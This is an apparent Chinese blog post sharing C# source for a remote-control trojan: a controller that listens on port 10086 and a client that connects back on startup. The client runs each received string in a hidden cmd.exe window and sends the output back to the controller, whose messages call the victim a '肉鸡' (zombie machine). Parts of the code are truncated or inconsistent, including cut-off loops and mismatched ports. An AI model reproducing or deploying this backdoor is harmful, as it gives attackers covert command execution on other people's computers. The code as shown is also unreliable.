我本人并不喜欢搞博客的,这次只是想把我学到的技术和大家分享一下.......
我也是一个刚入门的初级菜鸟!呵呵...
废话不想多说了..此代码有那些 看不明白的就找我...
源码到这里下载:http://download.csdn.net/source/2151759
这是服务端:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net.Sockets;
using System.Net;
namespace Customer
{
public partial class CustomerForm : Form
{
public CustomerForm()
{
InitializeComponent();
}
IPHostEntry host;//本机的IP
TcpListener TCL;//创建一个监听
Socket skt;// 用于发送命令和接受数据的
IPEndPoint IP;//拼接IP和端口
private void Form1_Load(object sender, EventArgs e)
{//窗体加载后自动连接段客户端
try
{
host = Dns.Resolve(Dns.GetHostName());//获取本机 的IP
IP = new IPEndPoint(host.AddressList[0], 10086);//将IP和端口拼接起来
this.Text += "(" + IP.ToString() + ")";//在程序的标题上面显示本机的IP
TCL = new TcpListener(IP);//初始化一个侦听,侦听端口为10086
TCL.Start();//启动侦听
BeginAcceptClient();//异步接受连接请求
txtResults.Text += "/r/n /t服务器已经正常启动....侦听端口:" + IP.Port.ToString();//显示在消息框上面
TxtSelect();//这是控制显示框的滚动条
}
catch (Exception ex)
{
txtResults.Text+="/r/n /t连接肉鸡出错!详细:"+ex.Message;
TxtSelect();//这也是控制滚动条的
skt.Close();//出现异常就关闭连接
}
}
//-----------------------异步接收传入的连接--------------------------------
public static ManualResetEvent tcpManualResetEvent = new ManualResetEvent(true);
public void BeginAcceptClient()
{//异步接受客户端的请求
tcpManualResetEvent.Set();//设置当前的线程处于等待状态...允许一个或者多个线程等待
TCL.BeginAcceptSocket(new AsyncCallback(AcceptClient),TCL);//接受客户端的请求
tcpManualResetEvent.WaitOne();//直到连接这个线程完成为止
}
public string Results = "";//转换后的消息
int count;//接收的数据长度
public void AcceptClient(IAsyncResult ar)
{//异步接受传入的连接请求
Control.CheckForIllegalCrossThreadCalls = false;//这是让当前的控件能在通过线程访问
TcpListener Listener = (TcpListener)ar.AsyncState;//异步的状态
skt = Listener.EndAcceptSocket(ar);//接受传入的请求
if (skt.Connected)//判断是否已经有客户端连接上,如果连接上后就读取数据
{
BeginAcceptClient();//再次接受客户端连接的请求,这个能解决客户端断开连接后能再次连接上
txtResults.Text += "/r/n /t提示:有机子上线了..";
TxtSelect();
//接收数据
try
{
byte[] bt = new byte[1024 * 1024];//声明一个Byte数组来存放接受到的数据
count = skt.Receive(bt);//将接受到的数据放到数组里面
if (count > 0)//判断是否有数据,如果有就将读去到的数据消息显示到消息框上.
{
Thread T = new Thread(new ThreadStart(AcceptDate), 80);//使用一个线程来将消息显示到文本框
T.Start();//启动线程 并将接收数据 然后现在在文本框上。
txtResults.Text="/r/n小鸡说1:"+Encoding.BigEndianUnicode.GetString(bt);//将Byte类型转成字符串显示到文本框上....
TxtSelect();//控制文本框上的滚动条的方法
}
}
catch (Exception ex)
{
skt.Close();//出现异常就关闭连接
txtResults.Text += "/r/n /t提示:接收数据出错!";
TxtSelect();//控制文本框的滚动条
}
}
tcpManualResetEvent.WaitOne();
}
public void AcceptDate()
{ //接收数据,这是接受数据的方法
if (skt.Connected && count>0)//如果有客户端连接上了就读去数据
{
try
{
byte[] bt = new byte[1024*1024];//同样也是声明一个数组来存放数据
skt.Receive(bt);//此方法是将接收的数据保存到数组里面
Results = Encoding.BigEndianUnicode.GetString(bt);//将数据转成String类型然后显示到消息框上...
for (int i = 0; i
bt[i] = btRecylcer;//接收完数据后就清理数组的数据
}
txtResults.Text += "/r/n小鸡说:" + Results;
TxtSelect();
if (count>0)
{
Thread T = new Thread(new ThreadStart(AcceptDate2), 50);//启动一个线程将接收到的数据显示到文本框上
T.Start();
}
}
catch (Exception ex)
{
txtResults.Text += "/r/n /t接收数据出错:" + ex.Message;
TxtSelect();
}
}
}
public void AcceptDate2()
{ //再次接受数据
//txtResults.Text += "/r/n /t小鸡说3:" + Results;
AcceptDate();//接收数据的方法
}
byte btRecylcer = new byte();
private void btnPerForm_Click(object sender, EventArgs e)
{//发送按扭
try
{
byte[] bt = new byte[1024 * 1024];//声明一个数组存放要发送的的数据
bt = Encoding.BigEndianUnicode.GetBytes(txtDOS.Text);//将需要发送的消息转换成Byte类型的数据
skt.Send(bt);//将消息或者命令发送到客户端
txtResults.Text += "/r/n /t你发送:" + Encoding.BigEndianUnicode.GetString(bt) + "/r/n";
TxtSelect();//控制文本框的滚动条
txtDOS.Clear();//发送完后清理文本框
for (int i = 0; i
bt[i] = btRecylcer;
}
}
catch (Exception ex)
{
txtResults.Text += "/r/n /t发送命令出错:" + ex.Message ;
TxtSelect();
}
}
private void TxtSelect()
{//这是控制消息框的滚动条让滚动条一直都是望下拉
txtResults.Select(txtResults.Text.Length + 100, txtResults.Text.Length);
txtResults.ScrollToCaret();
}
}
}
以下是客户端:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Diagnostics;
namespace Server_
{
public partial class Server_Form : Form
{
public Server_Form()
{
InitializeComponent();
}
IPHostEntry host;
TcpClient Client;
private void Form1_Load(object sender, EventArgs e)
{//自动连接控制端
try
{
host = Dns.Resolve(“这里填写IP或者主机名都可以”);
IPEndPoint IP = new IPEndPoint(host.AddressList[0], 1086);//连接服务端的IP和端口
this.Text += "(" + host.AddressList[0].ToString() + ")";
Client = new TcpClient();//初始化
BeginConnectServser(Client);//异步发送连接请求
txtInfo.Text += "/r/n /t正在连接控制端......";
TxtSelect();//控制文本框的滚动条
}
catch (Exception ex)
{
txtInfo.Text += "/r/n/t连接出错:" + ex.Message;
TxtSelect();
}
}
private void ConnectServer()
{//异步连接服务端
tcpManualResetEvent.Set();
BeginConnectServser(Client);
}
private void BeginConnectServser(TcpClient Tl)
{//异步发送请求
tcpManualResetEvent.Set();
Tl.BeginConnect(host.AddressList[0], 10086, new AsyncCallback(BeginConnect), Tl);
tcpManualResetEvent.WaitOne();
}
//线程的状态
public static ManualResetEvent tcpManualResetEvent = new ManualResetEvent(true);
public void BeginConnect(IAsyncResult ar)
{//异步发送连接请求
TcpClient TL2=new TcpClient();
Control.CheckForIllegalCrossThreadCalls = false;
try
{
TL2 = (TcpClient)ar.AsyncState;
TL2.EndConnect(ar);
if (TL2.Connected)//连接后就能发送命令和消息
{
txtInfo.Text+="/r/n /t/t提示:成功连接控制端.../r/n";
TxtSelect();
Thread T = new Thread(new ThreadStart(Accept), 80);
T.Start();
}
tcpManualResetEvent.WaitOne();
}
catch (Exception ex)
{
TL2.Client.Accept();
txtInfo.Text+="/r/n/t连接控制端出错!详细:" + ex.Message;
TxtSelect();
}
}
byte[] AcceptDate = new byte[1024 * 1024];
byte bt = new byte();
NetworkStream net;
//显示到文本框上
public void TxtDate()
{
txtInfo.Text += "/r/n消息:" + date;
TxtSelect();
//再调用接受数据的方法
Accept();
}
private void Accept()
{//接收数据
Control.CheckForIllegalCrossThreadCalls = false;
try
{
net=Client.GetStream();//将接收数据
int count = net.Read(AcceptDate, 0,AcceptDate.Length);//读取数据
date = Encoding.BigEndianUnicode.GetString(AcceptDate);
for (int i = 0; i
AcceptDate[i] = bt;
}
if (count > 0)
{
//此线程是让数据显示到文本框上的。。如果不使用线程就只能显示第一次接收到的数据
Thread T = new Thread(new ThreadStart(TxtDate), 90);
T.Start();
CMD();//执行DOS命令
}
}
catch (Exception ex)
{
//txtInfo.Text += "/r/n接收数据出错:" + ex.Message.ToString();
TxtSelect();
}
}
string date = "";
byte[] btResults = new byte[1024 * 1024];
private void CMD()
{//dos命令
Process proc = new Process();
proc.StartInfo.FileName = @"C:/windows/system32/cmd.exe";
proc.StartInfo.CreateNoWindow = true;
//proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
proc.StartInfo.WorkingDirectory = @"C:/windows/system32";//设置启动线程的初始目录
//设置输入输出 都从流中获取
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.RedirectStandardInput = true;
proc.StartInfo.RedirectStandardError = false;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c" + date +"/r/n";
proc.Start();
proc.StandardInput.WriteLine(date);
proc.StandardInput.WriteLine("exit");
string message = "/r/n" + proc.StandardOutput.ReadToEnd().ToString();
txtInfo.Text += "/r/n"+message;
TxtSelect();
//txtInfo.Text += "/r/n 错误:" + p.StandardError.ReadToEnd();
btResults = Encoding.BigEndianUnicode.GetBytes(message);
//将结果返回控制端
try
{
net.Write(btResults, 0, btResults.Length);
}
catch (Exception ex)
{
//s.Send(btResults);
txtInfo.Text += "/r/n发送数据出错:" + ex.Message;
TxtSelect();
}
}
private void TxtSelect()
{
txtInfo.Select(txtInfo.Text.Length+date.Length, txtInfo.Text.Length+100);
txtInfo.ScrollToCaret();
}
private void btnSendDate_Click(object sender, EventArgs e)
{//发送消息到控制端
try
{
byte[] SendDate = new byte[txtDOS.Text.Length];
SendDate = Encoding.BigEndianUnicode.GetBytes(txtDOS.Text);
net.Write(SendDate,0,SendDate.Length);
txtInfo.Text += "/r/n你发送:" + txtDOS.Text;
txtDOS.Clear();
TxtSelect();
}
catch (Exception ex)
{
txtInfo.Text += "发送消息出错:"+ex.Message;
TxtSelect();
}
}
}
}